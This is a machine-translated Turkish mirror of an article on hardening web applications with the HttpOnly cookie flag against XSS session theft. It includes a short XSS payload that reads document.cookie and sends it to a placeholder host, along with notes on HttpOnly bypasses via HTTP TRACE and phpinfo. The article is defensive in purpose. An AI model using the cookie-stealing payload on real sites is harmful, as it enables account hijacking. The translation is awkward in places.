Bu makale makine çevirisi ayna makalesidir, orijinal makaleye geçmek için lütfen buraya tıklayın.

Görünüm: 11801|Yanıt: 0

[Güvenli İletişim] Web uygulama güvenliğini Httponly ile iyileştirin

[Bağlantıyı kopyala]
Yayınlandı 3.06.2015 20:57:48 | | |
Www servislerinin yükselişiyle birlikte, giderek daha fazla uygulama B/S yapısına geçti; böylece çeşitli web servislerine tek bir tarayıcı ile erişilebiliyor, ancak bu da giderek daha fazla web güvenliği sorununa yol açıyor. www hizmeti Http protokolüne dayanır, Http durumsuz bir protokoldür, bu nedenle oturumlar arasında bilgi aktarmak için ziyaretçinin durumunu işaretlemek için çerezler, oturumlar ve diğer teknolojiler kullanmak kaçınılmazdır ve ister bir çerez ister oturum olsun, genellikle çerezler kullanılarak uygulanır (Oturum aslında tarayıcının çerezinde bir token ile işaretlenmiştir, Sunucu bu tokenı elde eder, meşruiyeti kontrol eder ve sunucuda depolanan ilgili durumu tarayıcıya bağlar), böylece bu çereze güvenli bir şekilde odaklanır; bu çerez elde edilirse başkalarının kimliği elde edilebilir; bu da özellikle elde edilen çerez yönetici gibi yüksek ayrıcalıklı bir kişiye ait olduğunda zararı daha da büyük olan istilacılar için harika bir şeydir. Çeşitli web güvenliği sorunları arasında XSS zayıflığı özellikle tehlikelidir.
Uygulamalar için, bir XSS açığı olduğunda, başkaları tarayıcınızda rastgele JS betiklerini çalıştırabilir ve uygulama açık kaynaklıysa veya fonksiyonlar açıksa, diğerleri bu fonksiyonları Ajax kullanarak kullanabilir, ancak süreç genellikle zahmetlidir, özellikle de başkasının kimliğini doğrudan almak istiyorsanız sıradan gezinme için. Açık kaynak olmayan uygulamalarda, örneğin bazı büyük sitelerin web arka planı (web2.0'ın önemli bir özelliği çok sayıda etkileşimdir, kullanıcıların genellikle arka planda yöneticilerle etkileşime girmesi gerekir, örneğin hata raporları veya bilgi teslimatı gibi), ancak etkileşim nedeniyle siteler arası betik açığı olabilir, ancak arka planın anlaşılmaması nedeniyle, mükemmel ajax kodu oluşturmak imkansızdır; js ile arka plan kodunu elde edip analiz için geri gönderebilirsiniz bile, ancak süreç de zahmetlidir ve gizli değildir. Şu anda, xss açığını kullanarak çerezler veya oturum kaçırma elde etmek, özellikle uygulamanın kimlik doğrulamasını analiz etmek, ardından belirli teknikleri kullanmak ve hatta diğer taraf programdan çıksa bile diğer tarafın kimliğini kalıcı olarak elde etmek çok etkilidir.
Peki kurabiye veya oturum kaçırma nasıl olur? Tarayıcıdaki belge nesnesinde çerez bilgileri saklanır ve js kullanılarak çerez alınabilir; bu çerezi aldığınız sürece başkasının kimliğine sahip olabilirsiniz. Tipik bir XSS saldırı ifadesi şöyledir:
  1.   xss exp:
  2.   url=document.top.locatio去掉n.href;
  3.   cookie=document.cookie;
  4.   c=new Image();
  5.   c.src=’<a  target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Kopya kodu

Bazı uygulamalar, bu sorunu çözmek için tarayıcı bağlama teknikleri benimseyebilir; örneğin çerezleri tarayıcının kullanıcı ajanına bağlamak ve çerez tespit edildiğinde geçersiz sayılır. Bu yöntem etkisiz olmuştur, çünkü davetsiz misafir kurabiyeni çaldığında, aynı anda Kullanıcı-ajanı elde etmiş olmalıdır. Ayrıca çerezleri Remote-addr'a bağlayan başka bir katı yöntem de vardır (aslında IP'ye bağlıdır, ancak bazı programlar IP alma yönteminde sorun yaşar, bu da tasarruf edilir), ancak bu çok kötü bir kullanıcı deneyimi getirir; IP değiştirmek yaygın bir şeydir, örneğin iş ve ev 2 IP olduğundan, bu yöntem genellikle benimsenmez. Bu nedenle, çerez tabanlı saldırılar artık çok yaygın ve bazı web 2.0 sitelerinde uygulamanın yönetici statüsü kolayca elde edilebiliyor.
Hassas kurabiyelerimizi nasıl güvende tutarız? Yukarıdaki analiz sayesinde, genel çerezler belge nesnelerinden elde edilir ve sadece hassas çerezleri tarayıcı dokümanında görünmez hale getirmemiz yeterlidir. Neyse ki, tarayıcılar artık genel olarak HttpOnly adlı bir parametreyi kabul eder; tıpkı diğer parametreler gibi, örneğin alan adıdır; bu HttpOnly ayarlandığında, tarayıcının belge nesnesinde çerez görünmez ve tarayıcı herhangi bir şekilde etkilenmez, çünkü çerez tarayıcı başlığında (ajax dahil) gönderilir. Uygulamalar genellikle bu hassas çerezleri js dilinde çalıştırmaz, bazı hassas çerezler için HttpOnly kullanıyoruz ve uygulamada js ile çalıştırılması gereken bazı çerezleri ayarlamıyoruz; bu da çerez bilgilerinin güvenliğini ve uygulamanın güvenliğini sağlar. HttpOnly hakkında daha fazla bilgi için bkz. http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
Tarayıcınızda çerezleri ayarlamak için başlık şöyledir:
  1. Set-Cookie: =[; =]
  2.   [; expires=][; domain=]
  3.   [; path=][; secure][; HttpOnly]
Kopya kodu

Örneğin php'yi alarak, php 5.2'deki Setcookie fonksiyonuna HttpOnly desteği eklenmiştir, örneğin:
   setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);
Abc çerezini Sadece HttpOnly'e ayarlayabilirsiniz ve belge bu çereze görünmez. Setcookie fonksiyonu esasen bir başlık olduğundan, başlığı kullanarak HttpOnly ayarlayabilirsiniz. Sonra document.cookie adresini kullanarak bu çerezin artık erişilebilir olmadığını görün. Bu yöntemi, bazı kimlik doğrulama için bazı auth-cookies gibi Sessionid'i korumak için kullanıyoruz; böylece kimliğin alınmasından endişe etmeyelim; bu da bazı arka plan programları ve webmail için güvenliği artırmak açısından büyük öneme sahiptir. Yukarıdaki saldırı yöntemini tekrar kullandığımızda, artık HttpOnly olarak ayarladığımız hassas çerezleri elde edemeyeceğimizi görebiliyoruz.
Ancak, HttpOnly'nin her şeye gücü yeten olmadığı da görülebilir; öncelikle xss sorununu çözemiyor, bazı sabırlı hackerların saldırılarına karşı koyamıyor, istilacı kişilerin ajax gönderimlerini yapmasını engelleyemiyor, hatta bazı xss tabanlı proxy'ler ortaya çıkmıştır, ancak saldırı eşiğini yükseltmek mümkün olmuştur, en azından xss saldırıları her script kid'de tamamlanmaz ve diğer saldırı yöntemleri çevresel ve teknik sınırlamalardan kaynaklanmaktadır. Kurabiye çalmak kadar yaygın değil.
HttpOnly bazı güvenlik açıklarını kullanabilir veya Bypass'ı yapılandırabilir, temel sorun ise tarayıcı tarafından gönderilen çerez başlığını alabildiğiniz sürece. Örneğin, önceki Http Trace saldırısı başlığınızdaki çerezi geri getirebilir ve bu saldırı ajax veya flash ile tamamlanabilir; bu da ajax ve flash'ta yamalanmış durumda. Yapılandırma veya uygulamada olası bir atlama örneği ise phpinfo'dur; bildiğiniz gibi, phpinfo tarayıcı tarafından gönderilen http başlığını, korunduğumuz kimlik doğrulama bilgilerini de dahil ederek gösterir ve bu sayfa genellikle çeşitli sitelerde bulunur; phpinfo sayfasını almak için ajax kullandığınız sürece, başlık başlığına karşılık gelen kısmı çıkararak çerezi elde edersiniz. Bazı uygulamalardaki kusurlar ayrıca başlık sızıntısına yol açabilir; bu sızıntı, temel doğrulama ile korunan bir sayfa kadar saldırıya uğrayabilir.
HttpOnly, IE 6 ve üzerlerinde daha iyi desteklenmekte ve Hotmail gibi uygulamalarda yaygın olarak kullanılmakta ve nispeten iyi güvenlik sonuçları elde etmiştir.




Önceki:Hava durumu bilgisi kaynak kodunu Çin Hava Durumu Ağı'nın kaynak kodundan çıkarın
Önümüzdeki:Yaygın web geliştirme dillerindeki HttpOnly ayarlarının ayrıntılı açıklaması
Feragatname:
Code Farmer Network tarafından yayımlanan tüm yazılım, programlama materyalleri veya makaleler yalnızca öğrenme ve araştırma amaçları içindir; Yukarıdaki içerik ticari veya yasa dışı amaçlarla kullanılamaz, aksi takdirde kullanıcılar tüm sonuçları ödemelidir. Bu sitedeki bilgiler internetten alınmakta olup, telif hakkı anlaşmazlıklarının bu siteyle hiçbir ilgisi yoktur. Yukarıdaki içeriği indirmeden sonraki 24 saat içinde bilgisayarınızdan tamamen silmelisiniz. Programı beğendiyseniz, lütfen orijinal yazılımı destekleyin, kayıt satın alın ve daha iyi orijinal hizmetler alın. Herhangi bir ihlal olursa, lütfen bizimle e-posta yoluyla iletişime geçin.

Mail To:help@itsvse.com